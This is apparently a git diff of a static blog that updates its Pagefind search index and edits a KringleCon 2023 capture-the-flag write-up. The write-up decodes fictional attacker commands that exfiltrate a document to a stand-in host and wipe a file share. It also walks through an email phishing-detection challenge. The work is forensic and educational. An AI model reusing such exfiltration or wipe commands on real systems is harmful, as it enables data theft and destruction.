diff --git a/pagefind/fragment/en-us_3f5b2db.pf_fragment b/pagefind/fragment/en-us_e38046e.pf_fragment similarity index 94% rename from pagefind/fragment/en-us_3f5b2db.pf_fragment rename to pagefind/fragment/en-us_e38046e.pf_fragment index a099c4ab..b459449e 100644 Binary files a/pagefind/fragment/en-us_3f5b2db.pf_fragment and b/pagefind/fragment/en-us_e38046e.pf_fragment differ diff --git a/pagefind/index/en-us_e5ddd69.pf_index b/pagefind/index/en-us_0adde87.pf_index similarity index 65% rename from pagefind/index/en-us_e5ddd69.pf_index rename to pagefind/index/en-us_0adde87.pf_index index 04d53710..0e9c0998 100644 Binary files a/pagefind/index/en-us_e5ddd69.pf_index and b/pagefind/index/en-us_0adde87.pf_index differ diff --git a/pagefind/index/en-us_2856191.pf_index b/pagefind/index/en-us_2856191.pf_index new file mode 100644 index 00000000..096f000e Binary files /dev/null and b/pagefind/index/en-us_2856191.pf_index differ diff --git a/pagefind/index/en-us_2e1440e.pf_index b/pagefind/index/en-us_2e1440e.pf_index deleted file mode 100644 index 5ba231c1..00000000 Binary files a/pagefind/index/en-us_2e1440e.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_48f05fe.pf_index b/pagefind/index/en-us_48f05fe.pf_index deleted file mode 100644 index 91d1a6e4..00000000 Binary files a/pagefind/index/en-us_48f05fe.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_6bd9e45.pf_index b/pagefind/index/en-us_6bd9e45.pf_index deleted file mode 100644 index 7825f3d9..00000000 Binary files a/pagefind/index/en-us_6bd9e45.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_83d88d5.pf_index b/pagefind/index/en-us_83d88d5.pf_index new file mode 100644 index 00000000..4cb87b72 Binary files /dev/null and b/pagefind/index/en-us_83d88d5.pf_index differ diff --git a/pagefind/index/en-us_8c97b77.pf_index b/pagefind/index/en-us_8c97b77.pf_index new file mode 100644 index 00000000..68951097 Binary files /dev/null and b/pagefind/index/en-us_8c97b77.pf_index differ diff --git a/pagefind/index/en-us_982e17a.pf_index b/pagefind/index/en-us_982e17a.pf_index new file mode 100644 index 00000000..83e8d440 Binary files /dev/null and b/pagefind/index/en-us_982e17a.pf_index differ diff --git a/pagefind/index/en-us_ba6833d.pf_index b/pagefind/index/en-us_ba6833d.pf_index deleted file mode 100644 index 9d772c94..00000000 Binary files a/pagefind/index/en-us_ba6833d.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_c41d634.pf_index b/pagefind/index/en-us_c41d634.pf_index deleted file mode 100644 index 84a81f3d..00000000 Binary files a/pagefind/index/en-us_c41d634.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_d8bd351.pf_index b/pagefind/index/en-us_d8bd351.pf_index new file mode 100644 index 00000000..0a45204c Binary files /dev/null and b/pagefind/index/en-us_d8bd351.pf_index differ diff --git a/pagefind/pagefind-entry.json b/pagefind/pagefind-entry.json index ff04895a..97963975 100644 --- a/pagefind/pagefind-entry.json +++ b/pagefind/pagefind-entry.json @@ -1 +1 @@ -{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_84d7c28ab35c2","wasm":"en-us","page_count":59}}} \ No newline at end of file +{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_cba0324d8ddbf","wasm":"en-us","page_count":59}}} \ No newline at end of file diff --git a/pagefind/pagefind.en-us_84d7c28ab35c2.pf_meta b/pagefind/pagefind.en-us_84d7c28ab35c2.pf_meta deleted file mode 100644 index 9049e688..00000000 Binary files a/pagefind/pagefind.en-us_84d7c28ab35c2.pf_meta and /dev/null differ diff --git a/pagefind/pagefind.en-us_cba0324d8ddbf.pf_meta b/pagefind/pagefind.en-us_cba0324d8ddbf.pf_meta new file mode 100644 index 00000000..c287fac5 Binary files /dev/null and b/pagefind/pagefind.en-us_cba0324d8ddbf.pf_meta differ diff --git a/post/kringlecon-2023-writeup/index.html b/post/kringlecon-2023-writeup/index.html index c9fb3973..d9c1d869 100644 --- a/post/kringlecon-2023-writeup/index.html +++ b/post/kringlecon-2023-writeup/index.html @@ -1094,10 +1094,10 @@ these are then rearranged in reverse and the trailing -join '' join print(''.join(map(chr, encoded)))

This yields the following decoded version of the command:

downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file

Here we notice the attacker using an executable called downwithsanta.exe with the -exfil flag to probably exfiltrate the NaughtyNiceList.docx to giftbox.com.

Answer: giftbox.com

The final step!

Wow! You decoded those secret messages with easy! You’re a rockstar. It seems like we’re getting near the end of this investigation, but we need your help with one more thing…

We know that the attackers stole Santa’s naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?

  1. What is the name of the executable the attackers used in the final malicious command?

Let’s decode the final powershell encoded command. As an aside, this coincides to be the last command the attacker ran if we removed the -enc filter.

evidence that it was the last command

echo QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ= | base64 -d
-

This decodes to the following powershell command:

C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
+

This decodes to the following powershell command:

C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

This shows the attacker running the downwithsanta.exe executable.

Answer: downwithsanta.exe

  1. What was the command line flag used alongside this executable?

In the previous decoded command we also noted that the attacker used the --wipeall with the executable.

Answer: --wipeall

The flag

After submitting all the answers, we are asked to complete our objective in HHC by submitting the output of the following command:

print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
-

This decodes to Beware the Cube that Wombles. We submit this in our objectives tab and mark this complete.

Film Noir Island: The Blacklight District

Phish Detection

Intro to the phish detection challenge

Attention, Digital Defenders! You’ve entered the realm of the Phishing Detection Agency, where advanced AI meets human insight. It’s been reported that AI has started hallucinating, and it’s up to you to discern the reality behind these emails.

Key: In the shadow-laden corridors of our menu, the Phishing link casts a crimson hue, a siren’s call warning that the number of deceitful emails is amiss. Should our digital sleuthing align perfectly with the cunning of these tricksters, watch as it transforms, glowing an emerald green in triumphant success.

Collaboration with ChatNPT: In our ongoing battle against phishing, we’ve enlisted ChatNPT to preliminarily flag potential phishing attempts. These flagged emails are stored in the Phishing Folder. However, AI isn’t foolproof! It’s up to you, the astute investigator, to dive into these emails and confirm their legitimacy. Cross-reference with our DNS records, apply your knowledge of SPF, DKIM, and DMARC, and ensure that only true phishing threats remain in the Phishing Folder. Your keen eye for detail is crucial in outsmarting these digital tricksters!

Your mission: Navigate through our virtual vault of emails, employ your knowledge of SPF, DKIM, and DMARC, and identify those deceptive, phishing attempts.

Welcome to the Geese Islands Email Security Overview. This page serves as a guide to understanding the key components of email authentication and security for our domain. Below, you will find detailed information about our SPF, DKIM, and DMARC records – the three pillars that fortify our email communications against phishing and spoofing attacks. Each section provides insights into what these records are, their importance in maintaining email integrity, and how they are configured for the utmost security of our digital correspondence.

DomainTypeValue
geeseislands.comTXTv=spf1 a:mail.geeseislands.com -all
DomainTypeValue
geeseislands.comTXTv=DKIM1;t=s;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjtqsLqwecFGF7AmP+Siln86O1v9NOKJw4ZsEHDV5fo0Vjj0qNPyyARKSkDmnIKjnzLGUUQO31Fr+vdZU61IaI9/ZD39WJKaAeX96uQ65mRQqqPVYxPLN5OvuFRmIHJ/TgOkD6z5/7VM7Zs1kw5Qnl04FmOLwWd00D+uNZnj8TCwIDAQAB
DomainTypeValue
geeseislands.comTXTv=DMARC1; p=reject; pct=100; rua=mailto:dmarc-reports@geeseislands.com

For any of the emails having the DKIM domain (d) parameter mail.geeseislands.com, DMARC as Pass and optionally SPF as pass, -we mark them safe. If the values differ or the domain is entirely different, we mark it as phishing.

These were all the challenges that I could solve before other matters took precedence. I hope you learned something or at the very least, were amused by my less elegant way of solving things.

Bye now.